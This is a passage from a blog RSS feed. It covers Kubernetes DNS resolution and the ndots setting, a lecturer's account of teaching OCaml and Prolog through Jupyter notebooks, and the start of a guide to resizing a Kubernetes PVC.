<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">search</span><span style="color: light-dark(#032F62, #96D0FF);"> hello.svc.cluster.local</span><span style="color: light-dark(#032F62, #96D0FF);"> svc.cluster.local</span><span style="color: light-dark(#032F62, #96D0FF);"> cluster.local</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">nameserver</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.152.183.10</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">options</span><span style="color: light-dark(#032F62, #96D0FF);"> ndots:5</span></span></code></pre>
<p>This config is used by DNS clients to forward the DNS queries to a DNS server. <code>resolv.conf</code> is the resolver configuration file which has information about:</p>
<ul>
<li>
<p><strong>nameserver</strong> : Where the DNS queries are forwarded to. In our case this is the address of <code>CoreDNS</code> service.</p>
</li>
<li>
<p><strong>search</strong>: Represents the search path for a particular domain. Interestingly <code>google.com</code> or <code>mrkaran.dev</code> is not FQDN (fully qualified domain name). A standard convention that most DNS resolvers follow is that if a domain ends with <code>.</code> (representing the root zone), the domain is considered to be FQDN. Some resolvers try to act smart and append the <code>.</code> themselves. So <code>mrkaran.dev.</code> is an FQDN but <code>mrkaran.dev</code> is not.</p>
</li>
<li>
<p><strong>ndots</strong>: This is the most interesting value and is the <em>highlight</em> of this post. <code>ndots</code> represents the threshold value of the number of dots in a query name to consider it as a “fully qualified” domain name. More on this later, as we discover the flow of DNS lookup.</p>
</li>
</ul>
<p><img src="https://mrkaran.dev/images/dns-k8s.png" alt="image" /></p>
<p>Let’s check what happens when we query for <code>mrkaran.dev</code> in a pod.</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> nslookup</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Server:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.152.183.10</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Address:</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.152.183.10#53</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Non-authoritative</span><span style="color: light-dark(#032F62, #96D0FF);"> answer:</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Name:</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Address:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 157.230.35.153</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Name:</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran.dev</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Address:</span><span style="color: light-dark(#032F62, #96D0FF);"> 2400:6180:0:d1::519:6001</span></span></code></pre>
<p>For this experiment, I’ve also turned on CoreDNS logging level to <code>all</code> which makes it highly verbose. Let’s look at the logs of <code>coredns</code> pod:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:35998 - 11131 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran.dev.hello.svc.cluster.local. udp 53 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,aa,rd 146 0.000263728s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:34040 - 36853 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran.dev.svc.cluster.local. udp 47 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,aa,rd 140 0.000214201s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:33468 - 29482 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran.dev.cluster.local. udp 43 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,aa,rd 136 0.000156107s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:58471 - 45814 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran.dev. udp 29 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NOERROR qr,rd,ra 56 0.110263459s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:54800 - 2463 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">AAAA IN mrkaran.dev. udp 29 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NOERROR qr,rd,ra 68 0.145091744s</span></span></code></pre>
<p>Whew. So 2 things piqued my interest here:</p>
<ul>
<li>
<p>The query iterates through all search paths until the answer contains a <code>NOERROR</code> code (which the DNS clients understand and store it as the result). <code>NXDOMAIN</code> simply indicates no record found for that domain name. Since <code>mrkaran.dev</code> isn’t an FQDN (according to <code>ndots=5</code> setting), the resolver looks at search path and determines the order of query.</p>
</li>
<li>
<p><code>A</code> and <code>AAAA</code> records are fired parallelly. This is because <code>single-request</code> option in <code>/etc/resolv.conf</code> has a default configuration to perform parallel IPv4 and IPv6 lookups. You can disable this using <code>single-request</code> option.</p>
</li>
</ul>
<p><em>Note</em>: <code>glibc</code> can be configured to send these requests sequentially but <code>musl</code> cannot, so Alpine users must take note.</p>
<h3 id="playing-around-with-ndots">Playing around with ndots<a class="zola-anchor" href="#playing-around-with-ndots" aria-label="Anchor link for: playing-around-with-ndots">#</a></h3>
<p>Let’s play around with <code>ndots</code> a bit more and see how it behaves. The idea is simple, for the DNS client to know whether a domain is an absolute one or not is through this <code>ndots</code> setting. For example, if you query for <code>google</code> simply, how will the DNS client know if this is an absolute domain. If you set <code>ndots</code> as <code>1</code>, the DNS client will say “oh, <code>google</code> doesn’t have even one 1 dot, let me try going through search list. However, if you query for <code>google.com</code>, the search list will be completely ignored since the query name satisfies the <code>ndots</code> threshold (At least one dot).</p>
<p>We can see this by actually doing it:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> cat</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/resolv.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">options</span><span style="color: light-dark(#032F62, #96D0FF);"> ndots:1</span></span></code></pre><pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> nslookup</span><span style="color: light-dark(#032F62, #96D0FF);"> mrkaran</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Server:</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 10.152.183.10</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Address:</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.152.183.10#53</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#D73A49, #F47067);">*</span><span style="color: light-dark(#D73A49, #F47067);">*</span><span> server can</span><span style="color: light-dark(#032F62, #96D0FF);">&#39;</span><span style="color: light-dark(#032F62, #96D0FF);">t find mrkaran: NXDOMAIN</span></span></code></pre>
<p>CoreDNS logs:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:52495 - 2606 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran.hello.svc.cluster.local. udp 49 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,aa,rd 142 0.000524939s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:59287 - 57522 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran.svc.cluster.local. udp 43 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,aa,rd 136 0.000368277s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:53086 - 4863 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran.cluster.local. udp 39 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,aa,rd 132 0.000355344s</span></span>
<span class="giallo-l"><span>[</span><span>INFO</span><span>]</span><span> 10.1.28.1:56863 - 41678 </span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span style="color: light-dark(#032F62, #96D0FF);">A IN mrkaran. udp 25 false 512</span><span style="color: light-dark(#032F62, #96D0FF);">&quot;</span><span> NXDOMAIN qr,rd,ra 100 0.034629206s</span></span></code></pre>
<p>Since <code>mrkaran</code> didn’t specify any <code>.</code> so the search list was used to find the answer.</p>
<p><em>Note</em>: <code>ndots</code> value is silently capped to <code>15</code> and is <code>5</code> in Kubernetes as default.</p>
<h3 id="handling-this-in-production">Handling this in Production<a class="zola-anchor" href="#handling-this-in-production" aria-label="Anchor link for: handling-this-in-production">#</a></h3>
<p>If your application is of the nature that makes a lot of external network calls, the DNS can become a bottleneck in case of heavy traffic since a lot of extra queries are made before the real DNS query is even fired. It’s quite uncommon to see applications appending the root zone in the domain names, but that can be considered as a hack. So instead of using <code>api.twitter.com</code>, you can hardcode your application to include <code>api.twitter.com.</code> which would force the DNS clients to do an authoritative lookup directly on the absolute domain.</p>
<p>Alternatively, since K8s 1.14, the <code>dnsConfig</code> and <code>dnsPolicy</code> feature gates have become stable. So while deploying a pod you can specify <code>ndots</code> setting to something lesser, say <code>3</code> or if you want to be really aggressive you can turn it down to <code>1</code>. The consequences of this will be that every intra-node communication now has to include the full domain. This is one of the classic tradeoffs where you have to choose between performance and portability. If the app doesn’t demand super low latencies, I guess you need not worry about this at all since DNS results are cached internally too.</p>
<h3 id="references">References<a class="zola-anchor" href="#references" aria-label="Anchor link for: references">#</a></h3>
<p>I got to know about this peculiarity first, in a K8s <a rel="external" href="https://failuremodes.dev/">meetup</a> which I went to, last weekend where the folks mentioned about having to deal with this.</p>
<p>Here are some additional links you can read on the web:</p>
<ul>
<li><a rel="external" href="https://github.com/kubernetes/kubernetes/issues/33554#issuecomment-266251056">Explainer on why ndots=5 in kubernetes</a></li>
<li><a rel="external" href="https://pracucci.com/kubernetes-dns-resolution-ndots-options-and-why-it-may-affect-application-performances.html">Great read on how ndots affects application performance</a></li>
<li><a rel="external" href="https://www.openwall.com/lists/musl/2017/03/15/3">musl and glibc resolver inconsistencies</a></li>
</ul>
<p><em>Note</em>: I’m particularly not using <code>dig</code> in this post. <code>dig</code> apparently automatically adds a <code>.</code> (root zone identifier) to make the domain an FQDN one <strong>without</strong> even first going through the search path. I’ve mentioned about this briefly in one of my <a rel="external" href="https://mrkaran.dev/posts/dig-overview/">older</a> posts. Nonetheless, it’s quite surprising to see that you need to give a flag to make it behave in what seems to be a standard way.</p>
<h4 id="it-s-always-dns-isn-t-it">It’s always DNS, isn’t it ;)<a class="zola-anchor" href="#it-s-always-dns-isn-t-it" aria-label="Anchor link for: it-s-always-dns-isn-t-it">#</a></h4>
<p>Fin!</p>
<h3 id="update">Update<a class="zola-anchor" href="#update" aria-label="Anchor link for: update">#</a></h3>
<p><strong>2020-12-24</strong>:</p>
<p>In case you want to play around with <code>ndots</code> and DNS more, I’ve worked on a DNS Client which lets you tweak these params on the fly. Feel free to checkout <a rel="external" href="https://github.com/mr-karan/doggo">doggo</a> if interested!</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Teaching OCaml and Prolog through Jupyter Notebooks]]></title>
            <link>https://kcsrk.info/ocaml/prolog/jupyter/notebooks/2020/01/19/OCaml-Prolog-Jupyter/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/prolog/jupyter/notebooks/2020/01/19/OCaml-Prolog-Jupyter/</guid>
            <pubDate>Sun, 19 Jan 2020 15:16:00 GMT</pubDate>
            <description><![CDATA[Last semester at IIT Madras, I taught a revamped core course CS3100 Paradigms
of Programming, which introduces 3rd-year
students to functional and logic programming paradigms. While the course had
been traditionally offered in Lisp and Prolog, I introduced OCaml instead of
Lisp. All of the lectures were delivered through interactive Jupyter
notebooks. The assignments were also distributed as Jupyter notebooks and
evaluated through autograder facility in Jupyter. There has since been several
requests to replicate this setup elsewhere. Hence, I thought I should write
about the set up and experience of teaching through Jupyter notebooks.
Course Content
Having never taken a functional programming course, there was the question of
what I wanted the students to take away from the course. I wanted the course to
be a mixture of functional programming concepts (types and lambda calculus) as
well as advanced yet pragmatic concepts that one would find in modern functional
programming languages (such as GADTs and Monads). The OCaml part of the course
is based on the excellent CS3110 from
Cornell and AFP from
Cambridge Computer Laboratory. In
particular, I would highly recommend the CS3110
book
for anyone taking first steps into functional programming. Lambda calculus
lectures were based on Peter Selinger’s lecture notes on lambda
calculus.
The Prolog part of the course were modelled on Prolog lectures from Cambridge
Computer Laboratory and the
wonderful The Art of
Prolog book.
Teaching functional and logic programming in the same course allowed me to
develop interesting content that intersected both of the paradigms. In the
functional programming part of the lecture, I had introduced simply typed
lambda calculus. In the
logic part of the course, we developed a type checker for simply typed lambda
calculus in Prolog. Merely encoding type checking rules for simply typed lambda
calculus in Prolog, type inference with polymorphic types falls
out. With a tiny bit of
coaxing, Prolog synthesizes programs for the given type. In the last assignment,
the students were asked to implement a Prolog interpreter in
OCaml.
There was indeed some value in teaching multiple paradigms in the same course,
not just for a comparative study of strengths and weaknesses, but to be able to
teach the students to pick the right tool for the job.
Course Delivery
I had a clear idea that the course will have to be interactive where programs
are developed during the lectures. There was the option of using pdf slides and
switching to utop for interactive
development. But this solution lacked the uniformity that the students would
like when reviewing the course materials. Moreover, switching between two
mediums made it difficult for me to plan the lectures and was a distraction for
the students.
Jupyter Notebooks
Hence, I decided to use Jupyter Notebooks for the course. Jupyter is a
collection of open source standards and software for interactive development.
Jupyter supports a variety of languages. For OCaml, I used
akabe/ocaml-jupyter, an OCaml kernel
for Jupyter notebooks. This uses utop, an advanced OCaml top-level in the
backend and hence provides excellent interactive top-level support. The
situation for Prolog was not so great. Eventually, I zeroed in on
targodan/jupyter-swi-prolog
but ended up improving the solution a bit
kayceesrk/jupyter-swi-prolog
(TODO KC: upstream fixes). Jupyter supports mathjax,
which allows typesetting LaTeX in the notebooks. This was great for writing the
lectures on lambda calculus.
RISE for slideshow
Jupyter notebooks are webpages that mixes text and code. For lectures, I much
prefer slides since they let you focus on a particular images, statement or an
inference rule. While Jupyter allows the conversion of notebooks to slides
out-of-band, RISE is an Jupyter
notebook extension that lets turn your Jupyter notebook into a slideshow. Adding
RISE to the setup makes the Jupyter experience compatible with traditional
slides based lectures.
Course Distribution
Apart from delivering the lectures through the notebooks, I also wanted the
students to be able to go through the notebooks and be able to run the snippets.
Installing all the required software (OPAM, OCaml, Prolog, Jupyter and its
extensions, Jupyter Kernels for OCaml and Prolog) and correctly was not
something I wanted the students to go through. I wasn’t even sure if this
software combination works on various Mac, Windows and Linux distributions.
Hence, everything was packaged as a Docker
file,
and the latest version of the image uploaded to docker
hub. In order to review the
course, the students only had to install Docker and Git and run exactly 4
commands.
Docker is generally supported on all major OSes. Packaging up the course content
as a docker image and pushing it to dockerhub is insurance against the software
combination not working in the next offering of the course; if for some reason
one of the dependency does not work next year, I can always fallback to the
docker image while I find a fix. One of my TAs ran a tutorial on basic Docker
and Git in the first week of the course to ensure that everyone was setup. I
would consider Docker and Git as essential tools for modern software development
as well as research. After that, the students did not ever have to do anything
on the command line.
Assignments
nbgrader is a tool that
facilitates creating and grading assignments in Jupyter notebook. It uses
language-agnostic logic to identify failing cells, which meant that it was easy
to set up nbgrader for OCaml and Prolog. The assignments were
released as Jupyter notebooks,
which the students filled in and submitted. nbgrader has support for unit tests
which allowed the students to get instant feedback as they were developing the
solutions.
Wish List
Overall, the students felt that the Jupyter notebooks were better than
slidedecks. However, not everything was perfect with the Jupyter notebook based
lecturing. Here are some of the things that could be improved.
There is no good diagramming + animation support for Jupyter notebooks. The
best I could find was egal whose user
interface I did not find intuitive. Even for simple diagrams, it was much more
effort making diagrams there compared to Keynote, PowerPoint or OmniGraffle.
Eventually, I used draw.io to make the diagrams and
include the images in the slides for a few of the cases where I actually
needed to make diagrams.
Docker for Windows does not work on Windows Home or Student. Support for OPAM
on Windows is slowly improving, but it is not yet for novices. Hence, I had to
recommend the students to run an Ubuntu VM on their Windows machines in which
they ran the course’s docker container.
nbgrader had several bugs which caused the autograder to award marks even for
failing cells. The TAs had to go through a few of the assignments manually to
ensure that students were awarded grades correctly. This is something that
should be fixable easily.
RISE doesn’t easily let you change the size of the font. One has to edit the
CSS to change the font size. And the default style wastes too much space. This
meant that not much content can be fit into a single slide. Hence, I’ve had to
artificially split content into multiple slides or zoom out several steps to
show content that was cut off on the bottom.
The support for Prolog is not so great. There are a few advanced features in
Prolog for which the Prolog setup
fails. I had to switch to
SWI-Prolog top-level for a few lectures. That said, the Prolog support is
mostly there and the issues can be fixed with some effort.
Conclusion
I have started working on fixing some of these issues and upstreaming the
solutions. Hopefully the fixes should be ready for the next iteration of the
course. If you would like to replicate this setup for your course, do feel free
to utilise the course materials.]]></description>
            <content:encoded><![CDATA[<p>Last semester at IIT Madras, I taught a revamped core course <a href="http://kcsrk.info/cs3100_f19/">CS3100 Paradigms
of Programming</a>, which introduces 3rd-year
students to functional and logic programming paradigms. While the course had
been traditionally offered in Lisp and Prolog, I introduced OCaml instead of
Lisp. All of the lectures were delivered through interactive Jupyter
notebooks. The assignments were also distributed as Jupyter notebooks and
evaluated through autograder facility in Jupyter. There has since been several
requests to replicate this setup elsewhere. Hence, I thought I should write
about the set up and experience of teaching through Jupyter notebooks.</p>

<!--more-->

<h2 id="course-content">Course Content</h2>

<p>Having never taken a functional programming course, there was the question of
what I wanted the students to take away from the course. I wanted the course to
be a mixture of functional programming concepts (types and lambda calculus) as
well as advanced yet pragmatic concepts that one would find in modern functional
programming languages (such as GADTs and Monads). The OCaml part of the course
is based on the excellent <a href="https://www.cs.cornell.edu/courses/cs3110/2019sp/">CS3110 from
Cornell</a> and <a href="https://www.cl.cam.ac.uk/teaching/1718/L28/">AFP from
Cambridge Computer Laboratory</a>. In
particular, I would highly recommend the <a href="https://www.cs.cornell.edu/courses/cs3110/2019sp/textbook/intro/3110.html">CS3110
book</a>
for anyone taking first steps into functional programming. Lambda calculus
lectures were based on Peter Selinger’s <a href="https://arxiv.org/abs/0804.3434">lecture notes on lambda
calculus</a>.</p>

<p>The Prolog part of the course were modelled on <a href="https://www.cl.cam.ac.uk/teaching/1819/Prolog/">Prolog lectures from Cambridge
Computer Laboratory</a> and the
wonderful <a href="https://mitpress.mit.edu/books/art-prolog-second-edition">The Art of
Prolog</a> book.</p>

<p>Teaching functional and logic programming in the same course allowed me to
develop interesting content that intersected both of the paradigms. In the
functional programming part of the lecture, I had introduced <a href="http://kcsrk.info/cs3100_f19/lectures/lec11/lec11.pdf">simply typed
lambda calculus</a>. In the
logic part of the course, we developed a type checker for simply typed lambda
calculus in Prolog. Merely encoding type checking rules for simply typed lambda
calculus in Prolog, <a href="http://kcsrk.info/cs3100_f19/lectures/lec25/lec25.pdf">type inference with polymorphic types falls
out</a>. With a tiny bit of
coaxing, Prolog synthesizes programs for the given type. In the last assignment,
the students were asked to implement <a href="https://github.com/fplaunchpad/cs3100_f19/blob/gh-pages/assignments/assignment6.ipynb">a Prolog interpreter in
OCaml</a>.
There was indeed some value in teaching multiple paradigms in the same course,
not just for a comparative study of strengths and weaknesses, but to be able to
teach the students to pick the right tool for the job.</p>

<h2 id="course-delivery">Course Delivery</h2>

<p>I had a clear idea that the course will have to be interactive where programs
are developed during the lectures. There was the option of using pdf slides and
switching to <a href="https://opam.ocaml.org/packages/utop/">utop</a> for interactive
development. But this solution lacked the uniformity that the students would
like when reviewing the course materials. Moreover, switching between two
mediums made it difficult for me to plan the lectures and was a distraction for
the students.</p>

<h3 id="jupyter-notebooks">Jupyter Notebooks</h3>

<p>Hence, I decided to use Jupyter Notebooks for the course. Jupyter is a
collection of open source standards and software for interactive development.
Jupyter supports a variety of languages. For OCaml, I used
<a href="https://github.com/akabe/ocaml-jupyter">akabe/ocaml-jupyter</a>, an OCaml kernel
for Jupyter notebooks. This uses <code class="language-plaintext highlighter-rouge">utop</code>, an advanced OCaml top-level in the
backend and hence provides excellent interactive top-level support. The
situation for Prolog was not so great. Eventually, I zeroed in on
<a href="https://github.com/targodan/jupyter-swi-prolog">targodan/jupyter-swi-prolog</a>
but ended up improving the solution a bit
<a href="https://github.com/kayceesrk/jupyter-swi-prolog">kayceesrk/jupyter-swi-prolog</a>
(TODO KC: upstream fixes). Jupyter supports <a href="https://www.mathjax.org/">mathjax</a>,
which allows typesetting LaTeX in the notebooks. This was great for writing the
lectures on lambda calculus.</p>

<h3 id="rise-for-slideshow">RISE for slideshow</h3>

<p>Jupyter notebooks are webpages that mixes text and code. For lectures, I much
prefer slides since they let you focus on a particular images, statement or an
inference rule. While Jupyter allows the conversion of notebooks to slides
<em>out-of-band</em>, <a href="https://github.com/damianavila/RISE">RISE</a> is an Jupyter
notebook extension that lets turn your Jupyter notebook into a slideshow. Adding
RISE to the setup makes the Jupyter experience compatible with traditional
slides based lectures.</p>

<h2 id="course-distribution">Course Distribution</h2>

<p>Apart from delivering the lectures through the notebooks, I also wanted the
students to be able to go through the notebooks and be able to run the snippets.
Installing all the required software (OPAM, OCaml, Prolog, Jupyter and its
extensions, Jupyter Kernels for OCaml and Prolog) and correctly was not
something I wanted the students to go through. I wasn’t even sure if this
software combination works on various Mac, Windows and Linux distributions.
Hence, everything was packaged as a <a href="https://github.com/fplaunchpad/cs3100_f19/blob/gh-pages/_docker/dockerfile">Docker
file</a>,
and the latest version of the image uploaded to <a href="https://hub.docker.com/r/kayceesrk/cs3100_iitm">docker
hub</a>. In order to review the
course, the students only had to install Docker and Git and run <a href="https://github.com/fplaunchpad/cs3100_f19#running-the-jupyter-notebooks">exactly 4
commands</a>.</p>

<p>Docker is generally supported on all major OSes. Packaging up the course content
as a docker image and pushing it to dockerhub is insurance against the software
combination not working in the next offering of the course; if for some reason
one of the dependency does not work next year, I can always fallback to the
docker image while I find a fix. One of my TAs ran a tutorial on basic Docker
and Git in the first week of the course to ensure that everyone was setup. I
would consider Docker and Git as essential tools for modern software development
as well as research. After that, the students did not ever have to do anything
on the command line.</p>

<h2 id="assignments">Assignments</h2>

<p><a href="https://nbgrader.readthedocs.io/en/stable/">nbgrader</a> is a tool that
facilitates creating and grading assignments in Jupyter notebook. It uses
language-agnostic logic to identify failing cells, which meant that it was easy
to set up nbgrader for OCaml and Prolog. The assignments were
<a href="http://kcsrk.info/cs3100_f19/assignments/">released</a> as Jupyter notebooks,
which the students filled in and submitted. nbgrader has support for unit tests
which allowed the students to get instant feedback as they were developing the
solutions.</p>

<h2 id="wish-list">Wish List</h2>

<p>Overall, the students felt that the Jupyter notebooks were better than
slidedecks. However, not everything was perfect with the Jupyter notebook based
lecturing. Here are some of the things that could be improved.</p>

<ul>
  <li>There is no good diagramming + animation support for Jupyter notebooks. The
best I could find was <a href="https://github.com/kayceesrk/egal">egal</a> whose user
interface I did not find intuitive. Even for simple diagrams, it was much more
effort making diagrams there compared to Keynote, PowerPoint or OmniGraffle.
Eventually, I used <a href="https://www.draw.io/">draw.io</a> to make the diagrams and
include the images in the slides for a few of the cases where I actually
needed to make diagrams.</li>
  <li>Docker for Windows does not work on Windows Home or Student. Support for OPAM
on Windows is slowly improving, but it is not yet for novices. Hence, I had to
recommend the students to run an Ubuntu VM on their Windows machines in which
they ran the course’s docker container.</li>
  <li>nbgrader had several bugs which caused the autograder to award marks even for
failing cells. The TAs had to go through a few of the assignments manually to
ensure that students were awarded grades correctly. This is something that
should be fixable easily.</li>
  <li>RISE doesn’t easily let you change the size of the font. One has to edit the
CSS to change the font size. And the default style wastes too much space. This
meant that not much content can be fit into a single slide. Hence, I’ve had to
artificially split content into multiple slides or zoom out several steps to
show content that was cut off on the bottom.</li>
  <li>The support for Prolog is not so great. There are a few advanced features in
Prolog for which the Prolog setup
<a href="https://github.com/yuce/pyswip/issues/68">fails</a>. I had to switch to
SWI-Prolog top-level for a few lectures. That said, the Prolog support is
mostly there and the issues can be fixed with some effort.</li>
</ul>

<h2 id="conclusion">Conclusion</h2>

<p>I have started working on fixing some of these issues and upstreaming the
solutions. Hopefully the fixes should be ready for the next iteration of the
course. If you would like to replicate this setup for your course, do feel free
to utilise the course materials.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Resize PVC in Kubernetes]]></title>
            <link>https://mrkaran.dev/posts/resize-pvc-k8s/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/resize-pvc-k8s/</guid>
            <pubDate>Tue, 14 Jan 2020 02:40:55 GMT</pubDate>
            <description><![CDATA[Well, the title is self explanatory so let’s begin!
First off, we need to ensure that the StorageClass which was used to provision the PVC has the correct configuration. From the official docs:
You can only expand a PVC if its storage class’s allowVolumeExpansion field is set to true.
So, let’s inspect our storage class:
$ kubectl get sc # sc is short for storageclass
NAME            PROVISIONER             AGE
gp2 (default)   kubernetes.io/aws-ebs   8d

$ kubectl describe sc/gp2
# output redacted to focus only on the field we're concerned with
Name:            gp2
AllowVolumeExpansion:  True
If AllowVolumeExpansion is set to True you can skip the below step. If it’s not true, you need edit the field allowVolumeExpansion as true:
apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  annotations:
    storageclass.kubernetes.io/is-default-class: "true"
  name: gp2
parameters:
  fsType: ext4
  type: gp2
provisioner: kubernetes.io/aws-ebs
reclaimPolicy: Delete
volumeBindingMode: WaitForFirstConsumer
allowVolumeExpansion: true
Once the StorageClass config is correct, all we need to do is update with the new size.
So, for example if size of the PVC was 15GB orginally:
spec:
  resources:
    requests:
      storage: 15Gi
To update it to 30GB, you simply need to edit spec.resources.requests field:
spec:
  resources:
    requests:
      storage: 30Gi
We now need to “apply” the updated PVC manifest.
$ kubectl apply -f pvc.yml
Let’s take a look at the PVC:
$ kubectl describe pvc/myclaim
# output redacted for brevity
...
Conditions:
  Type                      Status  LastProbeTime                     LastTransitionTime                Reason  Message
  ----                      ------  -----------------                 ------------------                ------  -------
  FileSystemResizePending   True    Mon, 01 Jan 0001 00:00:00 +0000   Tue, 14 Jan 2020 20:52:21 +0530           Waiting for user to (re-)start a pod to finish file system resize of volume on node.
...
So, basically what FileSystemResizePending means is that while PVC is in use, we have to either restart or delete the underlying Pod using the PVC. At the time of writing this, ExpandInUsePersistentVolumes is still in beta and has to be enabled as a feature gate. Sadly, EKS is still on 1.14 (while the world has moved to 1.17, such sloooow release cycles!), so I couldn’t enable this in my case.
Once the pod is restarted, the expanded disk is automagically available! Let’s verify this:
kc get pvc/myclaim -o=jsonpath="{.status.capacity.storage}"
30Gi
Now, compare this with the standard way of resizing an EBS volume in EC2 instance. You need to first modify the volume size using AWS EBS API and then in the EC2 instance, use a combination of growpart and resize2fs to extend the resized volume. This sounds much more cumbersome than simply updating the storage field in PVC manifest!
Fin!]]></description>
            <content:encoded><![CDATA[<p>Well, the title is self explanatory so let’s begin!</p>
<p>First off, we need to ensure that the <code>StorageClass</code> which was used to provision the PVC has the correct configuration. From the official <a rel="external" href="https://kubernetes.io/docs/concepts/storage/persistent-volumes/">docs</a>:</p>
<blockquote>
<p>You can only expand a PVC if its storage class’s allowVolumeExpansion field is set to true.</p>
</blockquote>
<p>So, let’s inspect our storage class:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> kubectl</span><span style="color: light-dark(#032F62, #96D0FF);"> get</span><span style="color: light-dark(#032F62, #96D0FF);"> sc</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> sc is short for storageclass</span></span>
